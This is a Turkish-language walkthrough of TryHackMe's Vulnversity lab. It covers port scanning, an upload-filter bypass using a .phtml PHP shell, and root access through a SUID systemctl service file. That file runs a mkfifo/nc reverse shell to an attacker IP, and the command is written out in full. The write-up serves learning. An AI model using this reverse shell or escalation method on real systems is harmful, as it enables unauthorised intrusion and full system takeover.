TryHackMe platformunda bulunan Vulnversity root olmayı ve iki flag nasıl alacağız onları sizler ile paylaşacağım bu CTF in bana kattığı güzellik root’a erişirken farklı bir sistem üzerinden gitmem oldu. Hadi başlayalım.
nmap taraması yaptığımızda 21/ftp, 22/ssh, 139-445/netbios-ssn, 3128/http-proxy ve 3333/http portlarının açık olduğunu gördüm.
http://10.10.243.186:3333 adresine gittiğimde burası karşıma geldi. Menülere bastığımda başka bir sayfaya yönlendiriyor. Kodları taradığımda da bir şey bulamadım.
dirb çalıştırdım gördüğünüz dizinler çıktı . /internal/ girdiğimde upload edeceğim yer karşıma çıktı hemen aklıma php shell dosyası yükleyip dinlemeye almak geldi.
shell dosyamın uzantısından dolayı yüklenmediğini anladım. .php uzantısını farklı nasıl yazabilirim ve içinde shellin çalışmasını engel olmayacak bir uzantı arayışına girdim.
.php | PHP Script |
.phtml | PHP Script |
aynı özellikte olduğunu gördüğümde uzantıyı değiştirdim. Başarılı bir şekilde yüklendi.
Dinlemeye aldığım shelli çalıştırarak içeriye girdim. Tabiki gördüğünüzde www-data kullanıcısı olarak giriş yaptım. Hedefimiz iki flag ve root olmaktı. flagları aramaya başlıyorum şimdi.
Dosyalar arası gezdiğimde /home/bill içerisinde user.txt buldum ve ilk flagımızı bulduk. Diğeride büyük ihtimal root içerisindedir. diye düşünüyorum o yüzden root olmaya çalışıyorum hemen.
SUID Privilege Escalation yöntemiyle başka bir dinlemeye alıp root olmam gerektiğini düşündüm. /bin/systemctl de öyle bir kodun çalıştırılabileceğini buldum.
SYSTEMCTL ile root olma
- root=$(mktemp).service
- echo ‘[Service]
- ExecStart=/bin/sh -c “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.4.28 8080 >/tmp/f”
- [Install]
- WantedBy=multi-user.target’ >$root
bunları sırası ile yazdığınızda 3. sıradaki <IP> değiştirdikten sonra diğer terminalimde nc -nlvp 8080 çalıştırıyorum.
whoami çalıştırdığımızda root olduğumuzu görüyoruz artık yapacağımız son işlem 2.flagı bulmak.
Dediğim gibi genelde birini bağlantı esnasında herhangi bir dosyanın içerine koydukları flag diğeri ise root klasörün içine koyulan flagtır ve root.txt cat ile okuyarak son flagımızı bularak CTF imizi tamamlıyoruz. Diğer CTF lerde görüşmek üzere.